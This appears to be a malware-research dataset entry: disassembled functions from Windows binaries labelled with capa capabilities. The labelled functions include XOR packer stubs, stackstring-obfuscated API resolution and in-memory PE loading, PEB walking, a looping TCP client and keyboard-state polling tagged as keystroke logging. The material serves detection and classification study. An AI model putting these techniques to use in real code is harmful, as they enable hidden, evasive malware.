joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403364
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
xor ebx, ebx
cmp dword [0x249d920], 0x594
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], eax
jne 0x4033b0
push 0x402e08
push 0x402e14
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x402e28
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov eax, dword [0x4a54c8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4a54cc]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
call fcn.0040335d
mov eax, dword [0x4a54d0]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4a54d4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
jmp 0x4033ef
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x249d920], 0xc
mov dword [ebp - 4], eax
jne 0x403451
push ebx
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc4c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x249d920]
cmp eax, 0xfa9
jne 0x40346d
mov dword [0x249cebc], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40347a
mov dword [0x249c86c], ebx
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, esi
shr edx, cl
lea eax, [edi + esi]
mov dword [ebp - 0x18], eax
mov dword [0x249ceb8], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x249d920], 0x213
mov dword [ebp - 0x18], edx
jne 0x4034ba
push 0x402e40
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.00403357
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add dword [ebp - 0x10], 0x61c88647
mov eax, edx
shr eax, cl
lea esi, [edi + edx]
add eax, dword [ebp - 0x30]
xor eax, esi
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
dec dword [ebp - 0x20]
jne 0x4033ec
cmp dword [0x249d920], 0xa6d
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp + 8]
mov dword [esi], eax
pop edi
jne 0x403524
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [esi + 4], edx
pop esi
pop ebx
leave
ret 4
Function at 0x40352d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x249d920]
mov ecx, dword [0x249c870]
sub esp, 0x544
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x4035a0
mov edi, ecx
mov ebx, eax
cmp dword [0x249d920], 0x959
jne 0x403594
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x402e54
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
call fcn.00403364
add edi, 8
dec ebx
jne 0x403551
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403966
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x249d920], 0x400
push edi
jne 0x4039b8
push esi
push esi
call fcn.00403c46
push esi
push esi
call fcn.00403c46
push esi
push esi
push esi
call fcn.004044e0
add esp, 0x14
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00403332
fstp st(0)
push esi
call fcn.00404565
pop ecx
push esi
call fcn.004042f7
pop ecx
mov eax, dword [0x4a5b54]
mov dword [0x249d920], eax
mov eax, dword [0x4a5b2c]
mov dword [0x249d924], eax
call fcn.00403674
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x403a1f
cmp dword [esp + 0x18], 0x785074d5
jne 0x403a2d
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x4039da
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x4031ac
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x4031e8
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x403a5c
cmp dword [esp + 0x18], 0x785074d5
jne 0x403a65
inc edi
cmp edi, 0x11915
jl 0x403a2f
mov eax, dword [0x249c870]
mov dword [0x249ceb4], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40a017
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a4e30]
jne 0x40a021
repz ret
jmp fcn.0040d7d9
Function at 0x40c95b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405ee3
and dword [ebp - 4], 0
cmp dword [0x4a646c], 0
mov ebx, eax
jne 0x40ca0c
push 0x402374
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40cabd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402368
push edi
call esi
test eax, eax
je 0x40cabd
push eax
call fcn.00405e71
mov dword [esp], 0x402358
push edi
mov dword [0x4a646c], eax
call esi
push eax
call fcn.00405e71
mov dword [esp], 0x402344
push edi
mov dword [0x4a6470], eax
call esi
push eax
call fcn.00405e71
mov dword [esp], 0x402328
push edi
mov dword [0x4a6474], eax
call esi
push eax
call fcn.00405e71
pop ecx
mov dword [0x4a647c], eax
test eax, eax
je 0x40ca0c
push 0x402310
push edi
call esi
push eax
call fcn.00405e71
pop ecx
mov dword [0x4a6478], eax
mov eax, dword [0x4a6478]
cmp eax, ebx
je 0x40ca64
cmp dword [0x4a647c], ebx
je 0x40ca64
push eax
call fcn.00405eec
push dword [0x4a647c]
mov esi, eax
call fcn.00405eec
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ca64
test edi, edi
je 0x40ca64
call esi
test eax, eax
je 0x40ca5b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ca5b
test byte [ebp - 0xc], 1
jne 0x40ca64
or dword [ebp + 0x10], 0x200000
jmp 0x40ca9d
mov eax, dword [0x4a6470]
cmp eax, ebx
je 0x40ca9d
push eax
call fcn.00405eec
pop ecx
test eax, eax
je 0x40ca9d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ca9d
mov eax, dword [0x4a6474]
cmp eax, ebx
je 0x40ca9d
push eax
call fcn.00405eec
pop ecx
test eax, eax
je 0x40ca9d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a646c]
call fcn.00405eec
pop ecx
test eax, eax
je 0x40cabd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40cabf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40688e
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x40689c
call 0x85667e1
mov al, byte [0x8b640041]
cmp eax, 0x30
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x446630], eax
sub eax, eax
je 0x4068c1
jmp 0xa8cf50cc
call 0x401154
call 0x406651
pop edi
xor eax, eax
pop esi
ret

Function at 0x407515
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407554
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407554
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407554
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407554
cmp dword [ecx + 0x74], 0xe
jbe 0x407554
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d5eb
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2c8
push 0x41c2c0
push str.FlsAlloc
push 0x1e
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d61f
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
jmp 0x40d625
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d669
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2d8
push 0x41c2d0
push str.FlsGetValue
push 0x20
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d6a0
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40a935
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x411488
cmp edx, dword [eax]
je 0x40a957
add eax, 8
inc ecx
cmp eax, 0x411518
jl 0x40a948
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x411488]
jne 0x40aa85
mov eax, dword [0x491ec0]
cmp eax, 1
je 0x40aa5f
test eax, eax
jne 0x40a988
cmp dword [0x4110b4], 1
je 0x40aa5f
cmp edx, 0xfc
je 0x40aa85
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40a9bf
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407370
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407460
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40aa02
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407460
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b0
push edi
call fcn.0040abe0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407370
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407380
lea eax, [ebp - 0xa0]
push 0x40d590
push eax
call fcn.00407380
push dword [esi + 0x41148c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407380
push pe_overlay
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040bcb8
add esp, 0x2c
pop edi
jmp 0x40aa85
lea eax, [ebp + 8]
lea esi, [esi + 0x41148c]
push 0
push eax
push dword [esi]
call fcn.00407460
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40157b
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov dword [ebp - 0x10], ecx
push edi
lea ecx, [ebp - 4]
call fcn.004011e7
push 0x402108
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
mov eax, dword [edi + 0x3c]
lea ebx, [eax + edi + 0x78]
mov esi, dword [ebx]
lea eax, [ebp - 0x2c]
push eax
add esi, edi
push esi
push ebx
push edi
lea ecx, [ebp - 4]
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x416c6175
mov dword [ebp - 0x24], 0x636f6c6c
mov byte [ebp - 0x20], 0
call fcn.00401372
mov dword [ebp - 8], eax
lea eax, [ebp - 0x2c]
push eax
push esi
push ebx
push edi
lea ecx, [ebp - 4]
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x466c6175
mov dword [ebp - 0x24], 0x656572
call fcn.00401372
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0x1200
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp - 0x10]
mov ebx, eax
push esi
mov ecx, ebx
mov dword [ebp - 0x18], ebx
call fcn.0040115e
mov edx, esi
mov ecx, ebx
call fcn.00401540
mov esi, dword [ebx + 0x3c]
add esi, ebx
push 0x40
lea eax, [esi + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 0x38]
push 0x3000
push eax
push 0
call dword [ebp - 8]
mov edi, eax
test edi, edi
je 0x401709
push 0x40
mov edx, ebx
mov ecx, edi
call fcn.0040115e
mov ebx, dword [edi + 0x3c]
movzx eax, word [esi + 0x14]
add ebx, edi
push eax
mov edx, esi
mov ecx, ebx
call fcn.0040115e
movzx eax, word [esi + 0x14]
movzx esi, word [esi + 6]
add eax, dword [ebp - 0xc]
movzx ecx, word [ebx + 0x14]
mov dword [ebp - 0x14], eax
lea ecx, [ecx + ebx + 0x18]
test esi, esi
je 0x4016c8
mov dword [ebp - 8], eax
sub dword [ebp - 8], ecx
mov ebx, ecx
mov dword [ebp - 0x10], esi
mov edx, dword [ebp - 8]
push 0x28
lea edx, [edx + ebx]
mov ecx, ebx
call fcn.0040115e
add ebx, 0x28
dec dword [ebp - 0x10]
jne 0x40168f
mov eax, dword [ebp - 0x14]
test esi, esi
je 0x4016c8
lea ebx, [eax + 0x14]
mov edx, dword [ebx]
mov ecx, dword [ebx - 8]
push dword [ebx - 4]
add edx, dword [ebp - 0x18]
add ecx, edi
call fcn.0040115e
add ebx, 0x28
dec esi
jne 0x4016b0
push dword [ebp - 0xc]
lea ecx, [ebp - 4]
push edi
call fcn.0040124f
mov esi, dword [ebp - 0xc]
push esi
push edi
lea ecx, [ebp - 4]
call fcn.004012df
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 0x10]
mov dword [eax + 8], edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add ecx, edi
mov dword [eax + 0x18], edi
mov dword [eax + 0x1c], ecx
mov dword [ebp - 0x18], ecx
call dword [ebp - 0x18]
push 0x8000
push 0
push edi
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4018a7
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
jmp fcn.0040170e
jmp 0x401893
jmp 0x401898
jmp 0x40189d
jmp 0x4018a2
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4903068c
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e3d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x64721186
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a2a5
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00404190
jne 0x40a274
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp 0x40a2ad
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00404190
jne 0x40a290
lea eax, [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00403e20
cmp dword [ebx + 0x10], 0
jne 0x40a2ad
lea eax, [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00403e20
jmp 0x40a2ad
lea eax, [ebx + 0x10]
call fcn.00403dcc
mov eax, ebx
call fcn.0040a08c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a307
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a34a
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a38d
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a3b7
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a3f0
call fcn.00404090
mov eax, ebx
call fcn.00409f64
mov ebp, eax
push 0x200
call sub.kernel32.dll_Sleep
jmp 0x40a251

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x35100e5b
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x6f32b01
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x402930
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x104
mov eax, dword [0x44b00c]
xor eax, esp
mov dword [esp + 0x100], eax
push esi
lea eax, [esp + 4]
mov esi, ecx
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov al, byte [esp + 0x2a]
shr al, 7
test byte [esp + 0x6c], 0x80
movzx eax, al
je 0x402968
mov eax, 1
test byte [esp + 0x2c], 0x80
je 0x402972
or eax, 2
test byte [esp + 0x66], 0x80
je 0x40297c
or eax, 2
test byte [esp + 0x29], 0x80
je 0x402986
or eax, 4
test byte [esp + 0x68], 0x80
je 0x402990
or eax, 4
test byte [esp + 0x2b], 0x80
je 0x40299a
or eax, 8
test byte [esp + 0x6a], 0x80
je 0x4029a4
or eax, 8
test byte [esp + 0x6b], 0x80
je 0x4029ae
or eax, 5
test byte [esp + 0x6d], 0x80
je 0x4029b8
or eax, 9
test byte [esp + 0x65], 0x80
je 0x4029c2
or eax, 6
test byte [esp + 0x67], 0x80
je 0x4029cc
or eax, 0xa
test byte [esp + 0x5e], 0x80
je 0x4029d6
or eax, 0x10
test byte [esp + 0x24], 0x80
je 0x4029e0
or eax, 0x10
test byte [esp + 0x5c], 0x80
je 0x4029ea
or eax, 0x20
test byte [esp + 0x14], 0x80
je 0x4029f4
or eax, 0x40
test byte [esp + 0x11], 0x80
je 0x402a00
or eax, 0x80
test byte [esp + 0x1f], 0x80
je 0x402a0c
or eax, 0x100
mov cl, byte [esp + 0x54]
shr cl, 7
test byte [esp + 0x15], 0x80
je 0x402a1d
or cl, 2
test byte [esp + 0x4a], 0x80
je 0x402a27
or cl, 4
test byte [esp + 0x48], 0x80
je 0x402a31
or cl, 8
mov word [esi], ax
mov eax, esi
mov byte [esi + 2], cl
mov ecx, dword [esp + 0x104]
pop esi
xor ecx, esp
call fcn.0042e689
add esp, 0x104
ret
Function at 0x402c00
Capabilities:
Inspect section memory permissions

Disassembly:
sub esp, 0x38
mov eax, dword [0x44b00c]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
lea eax, [esp + 4]
mov dword [esp + 4], 0x34
push eax
push 0
mov esi, ecx
mov dword [esp + 0x10], 0x83
call dword [sym.imp.WINMM.dll_joyGetPosEx]
test eax, eax
je 0x402c49
mov word [esi], 0x100
mov eax, esi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.0042e689
add esp, 0x38
ret
mov eax, dword [esp + 0x24]
cmp eax, 8
ja 0x402ca2
je 0x402c98
cmp eax, 4
ja case.0x402c5d.3
jmp dword [eax*4 + 0x402ea4]
mov eax, 1
jmp 0x402e8a
mov eax, 2
jmp 0x402e8a
mov eax, 3
jmp 0x402e8a
mov byte [esi + 1], 0
mov eax, esi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.0042e689
add esp, 0x38
ret
mov eax, 4
jmp 0x402e8a
cmp eax, 0x40000
ja 0x402dbf
je 0x402db5
cmp eax, 0x800
ja 0x402d45
je 0x402d3b
cmp eax, 0x80
ja 0x402d04
je 0x402cfa
cmp eax, 0x10
je 0x402cf0
cmp eax, 0x20
je 0x402ce6
cmp eax, 0x40
jne case.0x402c5d.3
mov eax, 7
jmp 0x402e8a
mov eax, 6
jmp 0x402e8a
mov eax, 5
jmp 0x402e8a
mov eax, 8
jmp 0x402e8a
cmp eax, 0x100
je 0x402d31
cmp eax, 0x200
je 0x402d27
cmp eax, 0x400
jne case.0x402c5d.3
mov eax, 0xb
jmp 0x402e8a
mov eax, 0xa
jmp 0x402e8a
mov eax, 9
jmp 0x402e8a
mov eax, 0xc
jmp 0x402e8a
cmp eax, 0x8000
ja 0x402d8f
je 0x402d85
cmp eax, 0x1000
je 0x402d7b
cmp eax, 0x2000
je 0x402d71
cmp eax, 0x4000
jne case.0x402c5d.3
mov eax, 0xf
jmp 0x402e8a
mov eax, 0xe
jmp 0x402e8a
mov eax, 0xd
jmp 0x402e8a
mov eax, 0x10
jmp 0x402e8a
cmp eax, 0x10000
je 0x402dab
cmp eax, 0x20000
jne case.0x402c5d.3
mov eax, 0x12
jmp 0x402e8a
mov eax, 0x11
jmp 0x402e8a
mov eax, 0x13
jmp 0x402e8a
cmp eax, 0x2000000
ja 0x402e32
je 0x402e2b
cmp eax, 0x400000
ja 0x402e0f
je 0x402e08
cmp eax, 0x80000
je 0x402dfe
cmp eax, 0x100000
je 0x402df4
cmp eax, 0x200000
jne case.0x402c5d.3
mov eax, 0x16
jmp 0x402e8a
mov eax, 0x15
jmp 0x402e8a
mov eax, 0x14
jmp 0x402e8a
mov eax, 0x17
jmp 0x402e8a
cmp eax, 0x800000
je 0x402e24
cmp eax, 0x1000000
jne case.0x402c5d.3
mov eax, 0x19
jmp 0x402e8a
mov eax, 0x18
jmp 0x402e8a
mov eax, 0x1a
jmp 0x402e8a
cmp eax, 0x20000000
ja 0x402e6c
je 0x402e65
cmp eax, 0x4000000
je 0x402e5e
cmp eax, 0x8000000
je 0x402e57
cmp eax, 0x10000000
jne case.0x402c5d.3
mov eax, 0x1d
jmp 0x402e8a
mov eax, 0x1c
jmp 0x402e8a
mov eax, 0x1b
jmp 0x402e8a
mov eax, 0x1e
jmp 0x402e8a
cmp eax, 0x40000000
je 0x402e85
cmp eax, 0x80000000
je 0x402e7e
xor eax, eax
jmp 0x402e8a
mov eax, 0x20
jmp 0x402e8a
mov eax, 0x1f
mov ecx, dword [esp + 0x38]
mov byte [esi], al
mov eax, esi
mov byte [esi + 1], 1
pop esi
xor ecx, esp
call fcn.0042e689
add esp, 0x38
ret